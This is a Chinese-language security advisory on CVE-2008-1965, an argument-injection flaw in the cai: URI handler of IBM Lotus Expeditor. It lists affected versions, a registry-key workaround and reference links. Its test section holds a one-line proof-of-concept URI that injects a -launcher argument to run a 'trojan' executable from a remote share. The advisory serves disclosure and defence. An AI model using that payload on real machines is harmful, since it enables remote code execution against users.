发布日期：2008-04-24
更新日期：2008-04-25

受影响系统：

IBM Lotus Expeditor 6.1.2
IBM Lotus Expeditor 6.1.1
IBM Lotus Expeditor 6.1.0
IBM Lotus Expeditor

描述：

---

BUGTRAQ  ID: 28926
CVE(CAN) ID: CVE-2008-1965

Lotus Expeditor之前名为IBM WebSphere Everyplace Deployment，是用于创建、部署和维护各种应用的管理客户端。

Lotus expeditor中的rcplauncher（由lotus symphony套件安装）进程注册了一个cai: uri处理器。由于rcplauncher进程会接受各种参数，因此可能被滥用执行任意代码。例如，-launcher选项参数会执行可执行程序。

<*来源：Thomas Pollet
  
  链接：http://marc.info/?l=full-disclosure&m=120904651132048&w=2
        http://secunia.com/advisories/29958/
        http://www-1.ibm.com/support/docview.wss?uid=swg21303813
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

cai:"%20-launcher%20\\6.6.6.6\d$\trojan

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 从Microsoft Windows注册表中删除以下表项：
HKEY_CLASSES_ROOT\cai\shell\open\command

厂商补丁：

IBM
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www-128.ibm.com/developerworks/lotus/products/expeditor/

浏览次数：4598
严重程度：0（网友投票）